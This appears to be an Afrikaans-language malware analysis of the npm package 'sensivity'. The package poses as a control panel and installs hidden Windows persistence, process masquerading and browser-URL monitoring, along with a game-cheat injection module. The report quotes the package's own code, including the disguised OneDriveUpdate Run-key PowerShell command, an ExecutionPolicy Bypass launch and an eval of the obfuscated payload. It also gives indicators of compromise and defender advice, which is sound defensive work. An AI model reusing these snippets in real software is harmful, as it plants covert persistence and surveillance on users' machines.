TL; DR
Die npm-pakket sensitiwiteit beskryf homself as 'n "Sensitiwiteitsbeheerpaneel." Op Windows tree dit op as 'n afstandbeheer- en toesiginstrument.
Sy toegangspunt, launcher.js, hernoem sy eie proses na Runtime Broker, skryf 'n outostart Run-sleutel waarde met die naam OneDriveUpdate wat die pakket herbegin deur 'n versteekte VBScript, skep PowerShell met -ExecutionPolicy Bypass, en evalueer dan 'n 171 KB verduisterde bedienervrag saam met 'n 6.87 MB inheemse module, sens.node.
Dit bedien 'n foonparing-beheerpaneel op TCP-poort 3000 en lees die aktiewe blaaier se adresbalk-URL deur Windows UIAutomation, en kyk vir een hardgekodeerde YouTube-video.
Twee dele wat voorheen as swart bokse gelees het, is nou opgelos. Die verduisterde bediener, server.obf.js, gebruik 'n obfuscator.io RC4 string-array skema; die herimplementering van die dekodeerder vanlyn (geen JavaScript uitgevoer nie) herstel 'n enkele eksterne eindpunt — https://izopi.com/check.php — tesame met 'n ingebedde RSA-publieke sleutel wat gebruik word om getekende lisensieantwoorde te verifieer.
Die inheemse module, sens.node, is nie verpak nie: die invoertabel en ingebedde stringe identifiseer dit as 'n DirectX 11 / Dear ImGui in-spel-oorleg wat aimbot-, ESP (wall-hack) en triggerbot-funksies verskaf, aangedryf deur inspuiting van afstandprosesse en geheuelesings/skryf.
Strings daarin verwys na voertuigentiteite en kaartliggings wat ooreenstem met GTA V / FiveM. Die npm-pakket is die aflewerings- en volhardingsomhulsel rondom daardie oorspronklike module.
Die bepalende sein is operasioneel, nie tegnies nie: 'n enkele anonieme uitgewer het ongeveer sewentig weergawes van een pakket gepubliseer - 2.5.0 tot en met 2.5.69 — oor 'n paar dae, elkeen met dieselfde lanseerder.
Daar is geen installasies nie hooksDie vrag loop slegs wanneer die pakket begin word.
Die Aanval: Hoe Dit Werk
sensitivity stuur tien lêers. Die package.json is yl: geen bewaarplekveld, geen lisensie, 'n hoof- en twee bin-aliasse (sensitivity, sens) wat almal na launcher.js wys, en 'n beginskrip van node launcher.js. Daar is geen nainstallasie of voorinstallasie nie. Niks word tydens npm-installasie geaktiveer nie. Die gedrag wat hieronder beskryf word, loop wanneer 'n gebruiker die pakket begin — via die bin-shim, die beginskrip of 'n vereiste.
Die tarball bevat die lanseerder, 'n verduisterde bediener, die oorspronklike module, 'n Visual Basic-skrip en 'n public/web-gids vir die beheerpaneel. launcher.js is die leesbare orkestrator; die logika wat tydens looptyd saak maak, leef in die twee blobs wat dit laai - 'n verduisterde bediener en 'n saamgestelde oorspronklike module, beide hieronder opgelos.
Prosesmaskering en 'n vals OneDrive-opdatering
Vroeg in uitvoering stel launcher.js sy eie prosesnaam twee keer:
javascript process.title = 'Runtime Broker'; Runtime Broker is 'n wettige Windows-proses (RuntimeBroker.exe) wat programtoestemmings bemiddel. Deur 'n Node-proses te hernoem om daarmee ooreen te stem, wys 'n vinnige blik op Taakbestuurder niks ongewoons nie.
Persistence word geskryf deur PowerShell eerder as 'n direkte register API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Die outobeginwaarde word OneDriveUpdate genoem, en dit wys nie direk na die pakket nie. Dit wys na wscript.exe wat die gebundelde OneDrive.Standalone.Updater.vbs uitvoer. Daardie skrip herbegin node launcher.js in 'n versteekte venster. Beide die Run-sleutelnaam en die VBScript-lêernaam leen Microsoft-handelsmerk, dus lees die outobegin-inskrywing as 'n roetine OneDrive-taak.
PowerShell met omseil van uitvoeringsbeleid
Die lanseerder stuur herhaaldelik na PowerShell. Die sink wat skandeerders as krities merk, is die lansering van 'n gegenereerde .ps1 met die uitvoeringsbeleid gedeaktiveer:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass verwyder die plaaslike skripondertekeningskontrole vir daardie aanroeping. Die gegenereerde skripte hanteer die blaaierbewaking en vensteropsporingswerk wat in die volgende afdeling beskryf word.
Die verduisterde bediener en die oorspronklike module
Na opstelling laai en voer launcher.js sy werklike vrag uit:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js is 171 KB van _0x-array obfuscation — die JavaScript-patroon waar elke string en identifiseerder deur 'n indeks in 'n geskommelde skikking vervang word, en dan tydens looptyd ontverwys word. Die skema is die RC4-variant wat deur obfuscator.io vervaardig word: 'n enkele dekodeerderfunksie base64-dekodeer 'n skikkingsinskrywing en RC4-dekripteer dit dan met 'n sleutel per oproep. Deur daardie dekodeerder in 'n aparte skrip weer te implementeer — slegs die herimplementering oor die onttrekte 821-inskrywing stringskikking uitgevoer te word, nooit die pakket se eie JavaScript nie — word dit skoon afgewikkel. Wat na vore kom, is beskeie maar decisive: een eksterne URL, https://izopi.com/check.php`, toegeken aan 'n LICENSE_URL konstante; 'n ingebedde RSA PUBLIC_KEY_PEM`; die plaaslike paneel roetes /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, en /trigger/status; en die snare child_process, crypto, en [Sensivity] sens.node gelaai — die laaste is die presiese logreël wat die lanseerder herskryf na program module gelaai. Die eindpunt is 'n lisensiekontrole: die kliënt plaas 'n identifiseerder (die verduisterde bediener formateer 'n Discord ID: %s string) en die RSA-sleutel verifieer die bediener se getekende reaksie.
sens.node is 'n 6.87 MB saamgestelde inheemse byvoeging, en dit is nie gepak nie - seksie-entropie is op 5.6–6.6 en die PE-invoer- en uitvoertabelle is ongeskonde, dus is die vermoëns daarvan direk leesbaar. Dit voer napi_register_module_v1 uit, die standard Node N-API-toegangspunt, so die geëvalueerde bediener laai dit met 'n gewone vereiste. Die invoertabel is die tell. Van KERNEL32 af haal dit OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, en Process32First/NextW — die kanonieke stel vir die opspoor van 'n ander proses, die toewysing van geheue daarin, en die lees of skryf van daardie geheue. Van USER32 af haal dit GetAsyncKeyState, GetKeyState, mouse_event, en SetCursorPos; dit koppel d3d11.dll, D3DCOMPILER_43, en dwmapi vir 'n oorleg op die skerm, en die volledige WINHTTP-stel vir netwerkoproepe. Die ingebedde stringe benoem die kenmerkstel sonder dubbelsinnigheid: Aktiveer Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Voertuig ESP, Elektron Anticheat opgespoor, en die Dear ImGui-banier Dear ImGui 1.91.3 WIP. Ligging- en entiteitsstringe soos Grapeseed Medical Clinic en die voertuig-ESP-woordeskat is in ooreenstemming met GTA V / FiveM.
Die verdeling is doelbewus in effek: die leesbare launcher.js dra slegs die dele wat 'n skandeerder maklik lees - persistensie, maskerade, die eval-oproep self - terwyl die verduistering die een eksterne gasheer - die looptydkontakte - verberg, en die binêre lêer die spel-oorleg en proses-inspuiting-logika bevat. Die lanseerder is die dun, ouditeerbare dop; die verduisterde bediener verberg die netwerkidentiteit; die oorspronklike module is die vrag. Ons beskryf die binêre lêer se invoere en stringe as gelees; ons lei nie die operateur se doel daaruit af nie.
'n Foonparingsbeheerpaneel op poort 3000
Die lanseerder bestuur 'n plaaslike webbediener op TCP-poort 3000 en behandel dit as 'n enkelvoudige funksie. Dit doen navraag vir 'n bestaande luisteraar en maak dit skoon voordat dit bind:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Die paneel is bereikbaar by http://localhost:3000, met 'n hardgekodeerde LAN-terugval-URL van http://192.168.1.16:3000. Die public/-gids en die paneel se gedrag stem ooreen met 'n QR-paringsvloei: 'n foon skandeer 'n kode en bind aan die gasheer as 'n afstandbeheerder. Geen eksterne bevel-en-beheer-domein verskyn in skoonteks in die lanseerder nie - maar, soos die deobfuskasie hierbo wys, is een teenwoordig in die verduisterde bediener: die izopi.com-lisensie-eindpunt. Die paneel self is plaaslik en LAN-beperk; die enigste uitgaande gasheer is daardie lisensiekontrole.
'n Losstaande toesighouer/werker-model hou die proses aan die lewe. Die lanseerder herbegin homself met SENSIVITY_SUPERVISOR- en SENSIVITY_WORKER-omgewingsvlae, elke kind loop versteek, dus as een proses doodgemaak word, laat dit 'n waghond oor om dit te herbegin.
Blaaierbewaking en die YouTube-sein
Die mees spesifieke gedrag is blaaiermonitering. launcher.js bou PowerShell wat Windows UIAutomation aandryf om die adresbalk van 'n lopende blaaier te lees:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern gee die teksinhoud van 'n UI-element terug. Toegepas op 'n blaaier se adresbalk-wysigingskontrole, gee dit die URL terug wat die slagoffer tans bekyk – sonder 'n blaaieruitbreiding, sonder om die profiel op die skyf aan te raak, en sonder 'n API-haak. Die gegenereerde skrip herhaal 'n $browserNames-lys en onttrek die URL of venstertitel van watter blaaier ook al op die voorgrond is.
Daardie URL word getoets teen 'n enkele hardgekodeerde teiken:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Die lanseerder vra op 'n drie-sekonde lus vir 'n blaaiervenster wat YouTube wys, en die gegenereerde PowerShell dra 'n Get-YouTubeBrowser / Test-TargetYouTubeUrl-paar wat ooreenstem met daardie video-ID. Die waarneembare effek is tweeledig: die aktiewe blaai-URL word van die slagoffer se skerm afgelees, en die gasheer se interaksie met een spesifieke YouTube-video word opgespoor. Ons beskryf die meganisme en die teiken; ons lei nie 'n motief daaruit af nie.
Die adresbalklesing is wat die skandeerder sensitive_data_enumeration noem — 'n Process::env- en UIAutomation-bron wat 'n netwerk-bekwame looptyd voed. Dit lyk in isolasie goedaardig en verander eers na toesig sodra die data-lewensiklus van die UIAutomation-bron na die verduisterde bediener nagespoor is.
Tydlyn en Weergawe-evolusie
Sensivity is nie 'n eenmalige oplaai nie. Die uitgewerrekening het ongeveer sewentig gepubliseerde weergawes van hierdie enkele pakket, en nuwes het aangehou gedurende die hersieningsvenster. Die lanseerder groei kenmerk vir kenmerk oor die 2.5.x-lyn terwyl die volharding en vraglading vas bly.
| Datum (UTC) | Weergawes waargeneem | Lanseerderstatus |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Basis QR-paneellanseerder; Loopsleutel-volharding; evaluering van verduisterde bediener. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Dieselfde vingerafdruk; onderdrukking van konsolespore. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Voeg vasgespelde YouTube-betrokkenheidsteiken by wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Herpubliseer gapingvullers oor die hele reeks; toesighouer/werkerwaghond. |
Deur die lanseerder oor afgelaaide verteenwoordigers te lees — 2.5.0, 2.5.36, en 2.5.69 — word vier vlakke getoon. Die vroegste weergawes dra die basiese QR-paringslanseerder. Vanaf 2.5.33 verskyn die UIAutomation-adresbalk-oester. Vanaf 2.5.58 word 'n toesighouer-bestuurslaag bygevoeg. Vanaf 2.5.64 voltooi die losstaande toesighouer/werker-waghond die stel. Deurgaans verander vier dinge nooit: die OneDriveUpdate Run-sleutel, die OneDrive.Standalone.Updater.vbs-dropper, die geëvalueerde server.obf.js, en die sens.node-inheemse module.
Die 2026-06-05-golf is opmerklik omdat dit die lae weergawenommers - 2.5.0 tot 2.5.15 - wat onder die weergawes is wat dae tevore bevestig is, herpubliseer het. Die effek is 'n aaneenlopende 2.5.x-lyn op die register, met elke weergawe wat dieselfde lanseerder dra.
Aanwysers van kompromie
Alle aanwysers hieronder is direk vanaf die pakket tarball gelees. Die leesbare lanseerder dra slegs 'n teruglus en 'n enkele private LAN-adres; die een eksterne gasheernaam, izopi.com, is herwin deur server.obf.js vanlyn te deobfuskeer.
| Tipe | Indicator | Notes |
|---|---|---|
| pakket | npm:sensivity (≈70 weergawes, 2.5.0-2.5.69) | Enkelpakket-uitgewer; geen bewaarplek; ongelisensieerd. |
| File | launcher.js | Leesbare orkestrator; hoof- en bin-teiken. |
| File | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array loonvrag, gelaai via eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API-byvoeging; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Versteekte herlaaier (node launcher.js). |
| Netwerk | https://izopi.com/check.php | Lisensie-/magtigingseindpunt herstel van die verduisterde bediener; ingebedde RSA-publieke sleutel verifieer antwoorde. |
| Vermoë | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Inspuiting van afstandprosesse en geheuelees/skryfvermoë. |
| Vermoë | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui-speloorlegsel wat aimbot-, ESP- en triggerbot-kenmerke implementeer. |
| register | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Outomatiese beginwaarde wys na wscript.exe en die VBScript-lanseerder. |
| proses | process.title = 'Runtime Broker' | Vermom as die wettige Windows Runtime Broker-proses. |
| gedrags- | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Uitvoeringsbeleid-omseiling wat gebruik word vir gegenereerde PowerShell-skripte. |
| gedrags- | UIAutomation ValuePattern lees van die blaaier se adresbalk | Lees die URL van die voorgrondblaaiervenster. |
| gedrags- | Teikenvideo-ID wJWta2lO0Lw3-sekonde YouTube-peiling | Vasgespelde betrokkenheidsmoniteringssein. |
| Netwerk | http://localhost:3000, terugval http://192.168.1.16:3000 | QR-paring-beheerpaneel plaaslik en op LAN blootgestel. |
| omgewing | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Losstaande waghondproses koördineringsvlae. |
Toeskrywing, impak en verdedigers
Die pakket word gepubliseer deur 'n enkele npm-rekening waarvan die verklaarde e-pos 'n ongeverifieerde Gmail-adres is. Die rekening het 'n baie negatiewe registerreputasietelling, onderhou en publiseer slegs hierdie een pakket, en het geen gekoppelde bronbewaarplek nie. Ons het nie eienaarskap van die e-pos geverifieer nie en ons skryf die veldtog toe aan die uitgewerrekening, nie aan enige genoemde individu nie. Die lanseerder het geen duidelike teksinfrastruktuur nie, maar die een eksterne gasheer is nou bekend: die verduisterde bediener kontak izopi.com vir 'n lisensiekontrole, en die oorspronklike module - gelees vanaf sy invoertabel en stringe eerder as omgekeerde instruksie-vir-instruksie - is 'n speloorlegsel wat in die geheue van 'n ander proses inspuit en lees.
Die waarneembare impak val op Windows-gebruikers wat Sensivity installeer en laat loop in die verwagting van 'n beheerpaneel-hulpprogram. Op daardie gashere stel die pakket outostart-persistensie vermom as 'n OneDrive-taak, hernoem homself om 'n stelselproses na te boots, lees die URL van wat die gebruiker ook al blaai, en stel 'n paringspaneel op wat die masjien aan 'n afstandbeheerder oor die plaaslike netwerk bind. Die toesighouer/werker-waghond beteken dat 'n enkele proses-doodmaak dit nie verwyder nie; die Run-sleutel-inskrywing oorleef herlaaie. macOS en Linux word nie deur die lanseerder geteiken nie - die persistensie-, PowerShell- en UIAutomation-paaie is slegs vir Windows.
Die sewentig-weergawe-verloop is die tendens wat die moeite werd is om te merk. Deur een pakket dosyne kere in 'n paar dae weer te publiseer, insluitend die terugvul van weergawenommers onder dié wat reeds verwyder is, hou 'n lewendige kopie op die register tussen verwyderings en frustreer dit weergawe-vasgespelde blokkeringslyste. 'n Blokeringslysinskrywing vir sensitivity@2.5.61 doen niks teen sensitivity@2.5.3 wat die volgende dag herpubliseer word nie.
Verdedigers kan op die volgende maniere optree:
- Blokkeer die pakketnaam-sensitiwiteit direk in register-proxy en CI-toelaatlyste. Die vaspen van individuele weergawes verloor die herpubliseringskadens; die naam is die duursame aanwyser.
- Soek vir 'n Run-waarde met die naam OneDriveUpdate waarvan die data wscript.exe teen 'n .vbs in 'n per-gebruiker-pad aanroep. Die egte OneDrive-opdatering is nie op hierdie manier geregistreer nie.
- Waarskuwing oor 'n Node.js-proses waarvan die process.title Runtime Broker is. Die werklike broker is RuntimeBroker.exe, nie 'n Node-looptyd nie.
- Merk npm-installasietyd-afhaal van pakkette wat 'n saamgestelde .node-byvoeging plus 'n eval(fs.readFileSync(…)) van 'n sibberige .obf.js-lêer verskeep. Daardie paring - ondeursigtige inheemse binêre lêer gelaai langs 'n verdoeselde teksvrag - is die strukturele aanduiding hier, onafhanklik van enige string IOC.
- Behandel enige plaaslik-gebonde luisteraar op poort 3000 wat deur 'n onverwagte Node-proses veroorsaak word as verdag op bestuurde Windows-eindpunte.
- Blokkeer of waarsku oor uitgaande versoeke na izopi.com vanaf ontwikkelaars of eindgebruikers; dit is die pakket se enigste eksterne eindpunt, bereik by /check.php vanaf die verduisterde bediener.
- Vir enige gebundelde .node-byvoeging, inspekteer die invoertabel voordat jy dit vertrou. Die kombinasie OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread is inspuiting van afgeleë prosesse, ongeag wat die pakket beweer om te doen; hier sit dit langs 'n Direct3D-oorlegsel en aimbot/ESP/triggerbot-stringe.
Vir statiese analise pipelines, die oortuigingsvorm is duursaam oor die weergawe-omwenteling: 'n nie-netwerk installasieprofiel, 'n prosestiteltoewysing aan 'n bekende stelselprosesnaam, 'n Run-sleutel skryf via PowerShell, en 'n evaluering van 'n lêer wat vanaf die skyf gelees word. Nie een hiervan is afhanklik van 'n domein, 'n IP of 'n weergawenommer wat die volgende herpublisering kan wegroteer nie.
Verwysings
[npm: sensitiwiteit] – registerbladsy vir die pakketweergawelyn wat hier bespreek word; onderhewig aan verwydering.





